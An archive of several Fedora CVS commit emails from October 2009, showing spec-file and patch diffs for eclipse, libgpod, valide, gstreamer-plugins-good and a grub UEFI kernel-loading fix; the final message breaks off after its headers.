From akurtakov at fedoraproject.org  Mon Oct 19 13:31:15 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Mon, 19 Oct 2009 13:31:15 +0000 (UTC)
Subject: rpms/eclipse/devel sources, 1.85, 1.86 eclipse.spec, 1.679,
	1.680 eclipse-add-ppc64-sparc64-s390-s390x.patch, 1.11,
	NONE eclipse-add-ppc64-sparc64-s390-s390x-2.patch, 1.9,
	NONE eclipse-add-ppc64-filesystem.patch, 1.1, NONE
Message-ID: <20091019133115.8ADBC11C00DC@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29512/devel

Modified Files:
	sources eclipse.spec 
Removed Files:
	eclipse-add-ppc64-sparc64-s390-s390x.patch 
	eclipse-add-ppc64-sparc64-s390-s390x-2.patch 
	eclipse-add-ppc64-filesystem.patch 
Log Message:
- New e-b snapshot that contains fragments for ppc64.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/sources,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- sources	12 Oct 2009 14:15:58 -0000	1.85
+++ sources	19 Oct 2009 13:31:15 -0000	1.86
@@ -1,2 +1,2 @@
 3ed7a1c9c13a73f6d7abc0b0305631e3  eclipse-R3_5_1-fetched-src.tar.bz2
-4b283c975b7c7b2894ef4de040f6b9c4  eclipse-build-0.4.0RC0.tar.gz
+bcca730657556ad9662e326570e0e66a  eclipse-build-0.4.0RC0.tar.gz


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.679
retrieving revision 1.680
diff -u -p -r1.679 -r1.680
--- eclipse.spec	15 Oct 2009 10:33:35 -0000	1.679
+++ eclipse.spec	19 Oct 2009 13:31:15 -0000	1.680
@@ -30,7 +30,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        8%{?dist}
+Release:        9%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -43,15 +43,10 @@ Source19:       %{name}-filenamepatterns
 # This script copies the platform sub-set of the SDK for generating metadata
 Source28:       %{name}-mv-Platform.sh
 
-Patch0:        %{name}-add-ppc64-sparc64-s390-s390x.patch
-Patch1:        %{name}-add-ppc64-sparc64-s390-s390x-2.patch
-
-Patch2:        %{name}-add-ppc64-filesystem.patch
-
 # Make sure the shipped target platform templates are looking in the
 # correct location for source bundles (see RHBZ # 521969). This does not
 # need to go upstream.
-Patch3:        %{name}-target-platform-template.patch
+Patch0:        %{name}-target-platform-template.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  ant
@@ -240,13 +235,6 @@ swt_frag_ver_s390x=$(grep "version\.suff
 sed --in-place "s|$swt_frag_ver_s390x|$swt_frag_ver|g" plugins/org.eclipse.swt.gtk.linux.s390x/build.xml \
                                                       plugins/org.eclipse.swt.gtk.linux.s390x/META-INF/MANIFEST.MF
 
-# Nasty hack to get suppport for ppc64, sparc{,64} and alpha
-%ifarch ppc64
-%patch0 -p1
-%patch1
-%patch2
-%endif
-
 # Copy all of the s390x directories and files to ppc64 or sparc{,64} or alpha dirs and replace
 # the s390x strings with ppc64, etc.
 %ifnarch %{ix86} x86_64
@@ -278,47 +266,6 @@ IFS='
   sed -i -e "s/%{_arch}/s390x/g" plugins/org.eclipse.equinox.launcher.gtk.linux.s390x/META-INF/MANIFEST.MF
 %endif
 
-%ifarch ppc64 sparc sparcv9 sparc64 alpha ia64
-IFS='
-'
-  # Fragments for these arches
-  rm -rf plugins/org.eclipse.equinox.launcher.gtk.linux.%{_arch}
-  cp -R plugins/org.eclipse.equinox.launcher.gtk.linux.{ppc,%{_arch}}
-  pushd plugins/org.eclipse.equinox.launcher.gtk.linux.%{_arch}
-    for f in $(find -type f); do
-      sed -i -e "s/ppc/%{_arch}/g" $f
-      tofile=$(echo $f | sed "s/ppc/%{_arch}/")
-      if [ $tofile != $f ]; then
-        cp -rp $f $tofile
-      fi
-    done
-  popd
-  rm -rf plugins/org.eclipse.core.filesystem.linux.%{_arch}
-  cp -R plugins/org.eclipse.core.filesystem.linux.{ppc,%{_arch}}
-  pushd plugins/org.eclipse.core.filesystem.linux.%{_arch}
-    for f in $(find -type f); do
-      sed -i -e "s/ppc/%{_arch}/g" $f
-      tofile=$(echo $f | sed "s/ppc/%{_arch}/")
-      if [ $tofile != $f ]; then
-        cp -rp $f $tofile
-      fi
-    done
-  popd
-  rm -rf plugins/org.eclipse.swt.gtk.linux.%{_arch}
-  cp -R plugins/org.eclipse.swt.gtk.linux.{ppc,%{_arch}}
-  pushd plugins/org.eclipse.swt.gtk.linux.%{_arch}
-    for f in $(find -type f); do
-      sed -i -e "s/ppc/%{_arch}/g" $f
-      tofile=$(echo $f | sed "s/ppc/%{_arch}/")
-      if [ $tofile != $f ]; then
-        cp -rp $f $tofile
-      fi
-    done
-  popd
-  IFS=$OLDIFS
-
-%endif
-
 %if ! %{bootstrap}
 # Symlinks
 rm plugins/org.sat4j*
@@ -478,7 +425,7 @@ fi
 %endif
 
 # target platform template patch
-%patch3 -p0
+%patch0 -p0
 popd
 
 %build
@@ -1181,6 +1128,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Mon Oct 19 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-9
+- New e-b snapshot that contains fragments for ppc64.
+
 * Thu Oct 15 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-8
 - Add bootstrap flag.
 


--- eclipse-add-ppc64-sparc64-s390-s390x.patch DELETED ---


--- eclipse-add-ppc64-sparc64-s390-s390x-2.patch DELETED ---


--- eclipse-add-ppc64-filesystem.patch DELETED ---



From hadess at fedoraproject.org  Mon Oct 19 13:31:33 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 19 Oct 2009 13:31:33 +0000 (UTC)
Subject: rpms/libgpod/F-12 libgpod-utf16-parsing.patch, 1.1, 1.2 libgpod.spec,
	1.27, 1.28
Message-ID: <20091019133133.E4F2F11C00DC@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/libgpod/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29648

Modified Files:
	libgpod-utf16-parsing.patch libgpod.spec 
Log Message:
* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-4
- Update UTF-16 string parsing patch


libgpod-utf16-parsing.patch:
 b/src/itdb_itunesdb.c |   72 +++++++++++++++++++++++++++++---------------------
 src/itdb_itunesdb.c   |    1 
 2 files changed, 43 insertions(+), 30 deletions(-)

Index: libgpod-utf16-parsing.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libgpod/F-12/libgpod-utf16-parsing.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libgpod-utf16-parsing.patch	19 Oct 2009 11:59:45 -0000	1.1
+++ libgpod-utf16-parsing.patch	19 Oct 2009 13:31:33 -0000	1.2
@@ -99,3 +99,15 @@ index c41e758..3f352e1 100644
        }
        break;
    case MHOD_ID_PODCASTURL:
+diff --git a/src/itdb_itunesdb.c b/src/itdb_itunesdb.c
+index fdbe898..7e411b5 100644
+--- a/src/itdb_itunesdb.c
++++ b/src/itdb_itunesdb.c
+ -1427,6 +1427,7 @@ static MHODData get_mhod (FImport *fimp, glong mhod_seek, 
+   case MHOD_ID_SORT_TVSHOW:
+       result.data.string = extract_mhod_string (cts, seek);
+       if (result.data.string == NULL) {
++         *ml = mhod_len;
+          return result;
+       }
+       break;


Index: libgpod.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgpod/F-12/libgpod.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- libgpod.spec	19 Oct 2009 11:59:45 -0000	1.27
+++ libgpod.spec	19 Oct 2009 13:31:33 -0000	1.28
@@ -3,7 +3,7 @@
 Summary: Library to access the contents of an iPod
 Name: libgpod
 Version: 0.7.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtkpod.org/libgpod.html
@@ -141,6 +141,9 @@ libgpod library.
 
 
 %changelog
+* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-4
+- Update UTF-16 string parsing patch
+
 * Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-3
 - Fix crasher when parsing UTF-16 strings with a BOM (#517642)
 



From bioinfornatics at fedoraproject.org  Mon Oct 19 14:16:31 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 14:16:31 +0000 (UTC)
Subject: rpms/valide/devel .cvsignore, 1.5, 1.6 sources, 1.5, 1.6 valide.spec,
	1.7, 1.8
Message-ID: <20091019141631.E2B4911C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8685

Modified Files:
	.cvsignore sources valide.spec 
Log Message:
Update Valaide to newest release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/valide/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	28 Jul 2009 23:03:31 -0000	1.5
+++ .cvsignore	19 Oct 2009 14:16:30 -0000	1.6
@@ -1 +1 @@
-valide-20090726svn303.tar.gz
+valide-20091019svn425.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/valide/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	28 Jul 2009 23:03:31 -0000	1.5
+++ sources	19 Oct 2009 14:16:30 -0000	1.6
@@ -1 +1 @@
-329917c1606c6f655288006a707a19f7  valide-20090726svn303.tar.gz
+3ac92a8c5deba5ef9b6f3b917ff7002c  valide-20091019svn425.tar.gz


Index: valide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valide/devel/valide.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- valide.spec	30 Jul 2009 21:29:48 -0000	1.7
+++ valide.spec	19 Oct 2009 14:16:30 -0000	1.8
@@ -1,16 +1,16 @@
-%global alphatag		20090726
-%global	svn_revision		svn303
+%global alphatag		20091019
+%global	svn_revision		svn425
 %global	gtk2_version		2.11.0
 %global	vala_version		0.7.3
 
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
-# svn export -r 303 http://valide.googlecode.com/svn/trunk/ valide-20090726svn303
-# tar -czvf valide-20090726svn303.tar.gz valide-20090726svn303
+# svn export -r 425 http://valide.googlecode.com/svn/trunk/ valide-20091019svn425
+# tar -czvf valide-20091019svn425.tar.gz valide-20091019svn425
 
 Name:			valide
 Version:		0.5.1
-Release:		0.16.%{alphatag}%{svn_revision}%{?dist}
+Release:		0.18.%{alphatag}%{svn_revision}%{?dist}
 Summary:		An integrated development environment (IDE) for the Vala programming language
 
 Group:			Development/Tools
@@ -22,7 +22,7 @@ BuildRoot:		%{_tmppath}/%{name}-%{versio
 BuildRequires:		gtk2-devel >= %{gtk2_version}
 BuildRequires:		vala-devel >= %{vala_version}
 BuildRequires:		sqlite-devel, unique-devel, desktop-file-utils, gtksourceview2-devel, intltool
-BuildRequires:		waf
+BuildRequires:		waf, libyaml-devel
 
 Requires:		vala-devel >= %{vala_version}
 Requires:		hicolor-icon-theme
@@ -31,19 +31,29 @@ Requires:		hicolor-icon-theme
 Val(a)IDE is an Integrated Development Environment for
 the Vala programming language.
 
+%description -l fr
+Val(a)IDE est un Environnement de D?veloppement Int?gr?
+pour le langage de programmation Vala.
+
 %package devel
 Summary:		Support for developing plugins for the Val(a)IDE
 Group:			Development/Libraries
 Requires:		%{name} =  %{version}-%{release}
 Requires:		gtk2-devel >= %{gtk2_version}
 Requires:		sqlite-devel, unique-devel, gtksourceview2-devel
-Requires:		libxml2-devel
+Requires:		libxml2-devel, libyaml-devel
 %description devel
 Val(a)IDE is an Integrated Development Environment for
 the Vala programming language.
 This package allows you to develop plugins that add new
 functionality to Val(a)IDE.
 
+%description -l fr
+Val(a)IDE est un Environnement de D?veloppement Int?gr?
+pour le langage de programmation Vala.
+Ce paquet vous permet de d?velopp? des plugins pour
+ajouter de nouvelle fonctionalit? ? Val(a)IDE.
+
 %prep
 %setup -q -n %{name}-%{alphatag}%{svn_revision}
 
@@ -53,7 +63,7 @@ waf -v %{?_smp_mflags}
 
 %install
 rm -rf %{buildroot}
-waf  -v install --destdir=%{buildroot} --debug
+./waf  -v install --destdir=%{buildroot} --debug
 desktop-file-install --vendor=""				\
 	--mode 0644						\
 	--dir=%{buildroot}%{_datadir}/applications/		\
@@ -110,6 +120,14 @@ fi
 %{_libdir}/libvalide-*.so
 
 %changelog
+* Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.19.20091019svn425
+- Update valide to revision 425
+- Some bug fix
+
+* Tue Sep 01 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.17.20090825svn385
+- Update valide to revision 385
+- Some bug fix
+
 * Fri Jul 30 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.16.20090726svn303
 - Fix the empty debuginfo with a newest option in build section --debug
 



From bioinfornatics at fedoraproject.org  Mon Oct 19 14:26:05 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 14:26:05 +0000 (UTC)
Subject: rpms/valide/F-11 .cvsignore,1.5,1.6 sources,1.5,1.6
Message-ID: <20091019142605.B0A5C11C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12968

Modified Files:
	.cvsignore sources 
Log Message:
Update Valaide to the newest release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-11/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	28 Jul 2009 23:11:34 -0000	1.5
+++ .cvsignore	19 Oct 2009 14:26:05 -0000	1.6
@@ -1 +1 @@
-valide-20090726svn303.tar.gz
+valide-20091019svn425.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	28 Jul 2009 23:11:34 -0000	1.5
+++ sources	19 Oct 2009 14:26:05 -0000	1.6
@@ -1 +1 @@
-329917c1606c6f655288006a707a19f7  valide-20090726svn303.tar.gz
+3ac92a8c5deba5ef9b6f3b917ff7002c  valide-20091019svn425.tar.gz



From hadess at fedoraproject.org  Mon Oct 19 14:27:29 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 19 Oct 2009 14:27:29 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/F-12 gstreamer-plugins-good.spec, 1.105,
	1.106 pulsesink-lowering-volumes.patch, 1.1, 1.2
Message-ID: <20091019142730.0193111C00DC@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13616

Modified Files:
	gstreamer-plugins-good.spec pulsesink-lowering-volumes.patch 
Log Message:
* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-4
- Fix pulsesink not advertising the StreamVolume interface



Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-12/gstreamer-plugins-good.spec,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- gstreamer-plugins-good.spec	17 Oct 2009 01:33:41 -0000	1.105
+++ gstreamer-plugins-good.spec	19 Oct 2009 14:27:27 -0000	1.106
@@ -6,7 +6,7 @@
 
 Name: 		%{gstreamer}-plugins-good
 Version: 	0.10.16
-Release:  	3%{?dist}
+Release:  	4%{?dist}
 Summary: 	GStreamer plug-ins with good code and licensing
 
 Group: 		Applications/Multimedia
@@ -279,6 +279,9 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/gstreamer-%{majorminor}.schemas > /dev/null || :
 
 %changelog
+* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-4
+- Fix pulsesink not advertising the StreamVolume interface
+
 * Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-3
 - Finally fix pulsesink volume lowering problems (#488532)
 

pulsesink-lowering-volumes.patch:
 b/ext/pulse/pulsemixer.c     |   14 +-
 b/ext/pulse/pulsemixerctrl.c |   77 ++++++-----
 b/ext/pulse/pulsemixerctrl.h |   13 +
 b/ext/pulse/pulseprobe.c     |   27 +++
 b/ext/pulse/pulseprobe.h     |   13 +
 b/ext/pulse/pulsesink.c      |  299 +++++++++++++++++++++++++++++++++----------
 b/ext/pulse/pulsesink.h      |   14 +-
 b/ext/pulse/pulsesrc.c       |   54 ++++---
 b/ext/pulse/pulsesrc.h       |   10 -
 ext/pulse/pulsesink.c        |    3 
 10 files changed, 376 insertions(+), 148 deletions(-)

Index: pulsesink-lowering-volumes.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-12/pulsesink-lowering-volumes.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pulsesink-lowering-volumes.patch	17 Oct 2009 01:33:41 -0000	1.1
+++ pulsesink-lowering-volumes.patch	19 Oct 2009 14:27:28 -0000	1.2
@@ -1106,3 +1106,31 @@ index 2358eba..be89434 100644
  };
  
  struct _GstPulseSrcClass
+From 2ab820fc251b9041cd82fdc01c68b8d450e5949c Mon Sep 17 00:00:00 2001
+From: Bastien Nocera <hadess at hadess.net>
+Date: Mon, 19 Oct 2009 15:21:57 +0100
+Subject: [PATCH] [pulse] Fix the StreamVolume interface not being advertised
+
+gst_pulsesink_interface_supported() was missing a check for it.
+
+https://bugzilla.gnome.org/show_bug.cgi?id=598933
+---
+ ext/pulse/pulsesink.c |    2 ++
+ 1 files changed, 2 insertions(+), 0 deletions(-)
+
+diff --git a/ext/pulse/pulsesink.c b/ext/pulse/pulsesink.c
+index 1fe2b72..f1907fe 100644
+--- a/ext/pulse/pulsesink.c
++++ b/ext/pulse/pulsesink.c
+@@ -1378,6 +1378,8 @@ gst_pulsesink_interface_supported (GstImplementsInterface *
+ 
+   if (interface_type == GST_TYPE_PROPERTY_PROBE && this->probe)
+     return TRUE;
++  if (interface_type == GST_TYPE_STREAM_VOLUME)
++    return TRUE;
+ 
+   return FALSE;
+ }
+-- 
+1.6.5.rc2
+



From pjones at fedoraproject.org  Mon Oct 19 14:28:45 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Mon, 19 Oct 2009 14:28:45 +0000 (UTC)
Subject: rpms/grub/F-12 grub-0.97-relocatable-kernel-on-x86_64-uefi.patch,
	1.1, 1.2
Message-ID: <20091019142845.943E611C00DC@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/grub/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13803

Modified Files:
	grub-0.97-relocatable-kernel-on-x86_64-uefi.patch 
Log Message:
Update relocatable kernel support to Fujitsu's newest patch.

This patch fixes the problem that UEFI boot fains on systems that
have the memory region starting at 1MB in use. 
The strategy is as follows:

- Loading temporarily vmlinuz image to the address which AllocatePages()
  function returned.
- After calling ExitBootServices() function, copy its reagion to the
  address which params->hdr.code32_start points to.

Signed-off-by: Taku Izumi <izumi.taku at jp.fujitsu.com>


grub-0.97-relocatable-kernel-on-x86_64-uefi.patch:
 efimm.c               |   39 +++++++++++++++++++++++++++++++++++++++
 grub/efi/efi.h        |    1 +
 x86_64/loader/linux.c |   18 +++++++++++++++++-
 3 files changed, 57 insertions(+), 1 deletion(-)

Index: grub-0.97-relocatable-kernel-on-x86_64-uefi.patch
===================================================================
RCS file: /cvs/extras/rpms/grub/F-12/grub-0.97-relocatable-kernel-on-x86_64-uefi.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- grub-0.97-relocatable-kernel-on-x86_64-uefi.patch	11 Aug 2009 15:29:50 -0000	1.1
+++ grub-0.97-relocatable-kernel-on-x86_64-uefi.patch	19 Oct 2009 14:28:44 -0000	1.2
@@ -1,22 +1,19 @@
-From 1ccd96dbe74f7dad8d57080c83b68de85f1fe466 Mon Sep 17 00:00:00 2001
-From: Peter Jones <pjones at redhat.com>
-Date: Tue, 11 Aug 2009 11:26:17 -0400
-Subject: [PATCH] Dynamically choose load address for bzimage on 64-bit UEFI.
 
-Instead of loading the kernel at one meg, dynamically load it at an
-address that UEFI tells us is actually available.  Based on a patch from
-Masahiro Matsuya <mmatsuya at redhat.com>.
----
- efi/efimm.c               |   39 +++++++++++++++++++++++++++++++++++++++
- efi/grub/efi/efi.h        |    1 +
- efi/grub/x86_64/linux.h   |    1 -
- efi/x86_64/loader/linux.c |   13 ++++++++++++-
- 4 files changed, 52 insertions(+), 2 deletions(-)
+This patch fixes the problem that UEFI boot fains on systems that
+have the memory region starting at 1MB in use. 
+The strategy is as follows:
+
+ - Loading temporarily vmlinuz image to the address which AllocatePages()
+   function returned.
+ - After calling ExitBootServices() function, copy its reagion to the
+   address which params->hdr.code32_start points to.
 
-diff --git a/efi/efimm.c b/efi/efimm.c
-index d14b630..3b790d5 100644
---- a/efi/efimm.c
-+++ b/efi/efimm.c
+Signed-off-by: Taku Izumi <izumi.taku at jp.fujitsu.com>
+---
+Index: grub-0.97/efi/efimm.c
+===================================================================
+--- grub-0.97.orig/efi/efimm.c
++++ grub-0.97/efi/efimm.c
 @@ -78,6 +78,45 @@ grub_efi_free_pool (void *buffer)
    Call_Service_1(b->free_pool, buffer);
  }
@@ -63,11 +60,11 @@ index d14b630..3b790d5 100644
  /* Allocate pages. Return the pointer to the first of allocated pages.  */
  void *
  grub_efi_allocate_pages (grub_efi_physical_address_t address,
-diff --git a/efi/grub/efi/efi.h b/efi/grub/efi/efi.h
-index 5409911..59314bd 100644
---- a/efi/grub/efi/efi.h
-+++ b/efi/grub/efi/efi.h
-@@ -46,6 +46,7 @@ int grub_efi_get_text_mode(void);
+Index: grub-0.97/efi/grub/efi/efi.h
+===================================================================
+--- grub-0.97.orig/efi/grub/efi/efi.h
++++ grub-0.97/efi/grub/efi/efi.h
+@@ -45,6 +45,7 @@ int grub_efi_set_text_mode (int on);
  void grub_efi_stall (grub_efi_uintn_t microseconds);
  void *grub_efi_allocate_pool (grub_efi_uintn_t size);
  void grub_efi_free_pool (void *buffer);
@@ -75,31 +72,20 @@ index 5409911..59314bd 100644
  void *grub_efi_allocate_pages (grub_efi_physical_address_t address,
  			       grub_efi_uintn_t pages);
  void
-diff --git a/efi/grub/x86_64/linux.h b/efi/grub/x86_64/linux.h
-index 65af9ee..06e83d0 100644
---- a/efi/grub/x86_64/linux.h
-+++ b/efi/grub/x86_64/linux.h
-@@ -28,7 +28,6 @@
- #define GRUB_LINUX_BOOT_LOADER_TYPE	0x72
- #define GRUB_LINUX_HEAP_END_OFFSET	(0x9000 - 0x200)
- 
--#define GRUB_LINUX_BZIMAGE_ADDR		0x100000
- #define GRUB_LINUX_ZIMAGE_ADDR		0x10000
- #define GRUB_LINUX_OLD_REAL_MODE_ADDR	0x90000
- #define GRUB_LINUX_SETUP_STACK		0x9000
-diff --git a/efi/x86_64/loader/linux.c b/efi/x86_64/loader/linux.c
-index 542b0b0..cfa66b2 100644
---- a/efi/x86_64/loader/linux.c
-+++ b/efi/x86_64/loader/linux.c
-@@ -40,6 +40,7 @@
+Index: grub-0.97/efi/x86_64/loader/linux.c
+===================================================================
+--- grub-0.97.orig/efi/x86_64/loader/linux.c
++++ grub-0.97/efi/x86_64/loader/linux.c
+@@ -40,6 +40,8 @@
  static unsigned long linux_mem_size;
  static int loaded;
  static void *real_mode_mem;
 +static void *prot_mode_mem;
++static grub_size_t prot_kernel_size;
  static void *initrd_mem;
  static void *mmap_buf;
  static grub_efi_uintn_t real_mode_pages;
-@@ -143,6 +144,7 @@ allocate_pages (grub_size_t real_size, grub_size_t prot_size)
+@@ -143,6 +145,7 @@ allocate_pages (grub_size_t real_size, g
  
    /* Initialize the memory pointers with NULL for convenience.  */
    real_mode_mem = 0;
@@ -107,21 +93,41 @@ index 542b0b0..cfa66b2 100644
    mmap_buf = 0;
  
    /* Read the memory map temporarily, to find free space.  */
-@@ -205,6 +207,13 @@ allocate_pages (grub_size_t real_size, grub_size_t prot_size)
+@@ -205,6 +208,13 @@ allocate_pages (grub_size_t real_size, g
        goto fail;
      }
  
 +  grub_printf("Trying to allocate %u pages for VMLINUZ\n",
 +		(unsigned) prot_mode_pages);
 +  prot_mode_mem = grub_efi_allocate_anypages(prot_mode_pages);
++
 +  if (!prot_mode_mem)
 +	grub_fatal("Cannot allocate pages for VMLINUZ");
-+  
-+  
++    
    mmap_buf = grub_efi_allocate_pages (0, mmap_pages);
    if (! mmap_buf)
      {
-@@ -501,9 +510,11 @@ grub_load_linux (char *kernel, char *arg)
+@@ -259,6 +269,11 @@ big_linux_boot (void)
+     grub_fatal ("cannot exit boot services");
+ 
+   /* Note that no boot services are available from here.  */
++
++  /* copy vmlinuz image to hdr.code32_start */
++  memcpy ((char *)(params->hdr.code32_start), (char *)prot_mode_mem,
++	  prot_kernel_size);
++  /* copy switch image */
+   memcpy ((void *) 0x700, switch_image, switch_size);
+ 
+   lh = &params->hdr;
+@@ -370,6 +385,7 @@ grub_load_linux (char *kernel, char *arg
+ 
+   real_size = 0x1000 + grub_strlen(arg);
+   prot_size = grub_file_size () - (setup_sects << SECTOR_BITS) - SECTOR_SIZE;
++  prot_kernel_size = prot_size;
+ 
+   if (! allocate_pages (real_size, prot_size))
+     goto fail;
+@@ -501,7 +517,7 @@ grub_load_linux (char *kernel, char *arg
  
    grub_seek ((setup_sects << SECTOR_BITS) + SECTOR_SIZE);
    len = prot_size;
@@ -129,11 +135,4 @@ index 542b0b0..cfa66b2 100644
 +  if (grub_read ((char *)prot_mode_mem, len) != len)
      grub_printf ("Couldn't read file");
  
-+  params->hdr.code32_start = (long)prot_mode_mem;
-+
    if (errnum == ERR_NONE)
-     {
-       loaded = 1;
--- 
-1.6.4
-



From hadess at fedoraproject.org  Mon Oct 19 14:31:20 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 19 Oct 2009 14:31:20 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/devel gstreamer-plugins-good.spec, 1.105,
	1.106 pulsesink-lowering-volumes.patch, 1.1, 1.2
Message-ID: <20091019143120.D4D9411C00DC@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15665

Modified Files:
	gstreamer-plugins-good.spec pulsesink-lowering-volumes.patch 
Log Message:
* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-4
- Fix pulsesink not advertising the StreamVolume interface



Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/devel/gstreamer-plugins-good.spec,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- gstreamer-plugins-good.spec	17 Oct 2009 01:51:15 -0000	1.105
+++ gstreamer-plugins-good.spec	19 Oct 2009 14:31:20 -0000	1.106
@@ -6,7 +6,7 @@
 
 Name: 		%{gstreamer}-plugins-good
 Version: 	0.10.16
-Release:  	3%{?dist}
+Release:  	4%{?dist}
 Summary: 	GStreamer plug-ins with good code and licensing
 
 Group: 		Applications/Multimedia
@@ -279,6 +279,9 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/gstreamer-%{majorminor}.schemas > /dev/null || :
 
 %changelog
+* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-4
+- Fix pulsesink not advertising the StreamVolume interface
+
 * Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-3
 - Finally fix pulsesink volume lowering problems (#488532)
 

pulsesink-lowering-volumes.patch:
 b/ext/pulse/pulsemixer.c     |   14 +-
 b/ext/pulse/pulsemixerctrl.c |   77 ++++++-----
 b/ext/pulse/pulsemixerctrl.h |   13 +
 b/ext/pulse/pulseprobe.c     |   27 +++
 b/ext/pulse/pulseprobe.h     |   13 +
 b/ext/pulse/pulsesink.c      |  299 +++++++++++++++++++++++++++++++++----------
 b/ext/pulse/pulsesink.h      |   14 +-
 b/ext/pulse/pulsesrc.c       |   54 ++++---
 b/ext/pulse/pulsesrc.h       |   10 -
 ext/pulse/pulsesink.c        |    3 
 10 files changed, 376 insertions(+), 148 deletions(-)

Index: pulsesink-lowering-volumes.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/devel/pulsesink-lowering-volumes.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pulsesink-lowering-volumes.patch	17 Oct 2009 01:51:15 -0000	1.1
+++ pulsesink-lowering-volumes.patch	19 Oct 2009 14:31:20 -0000	1.2
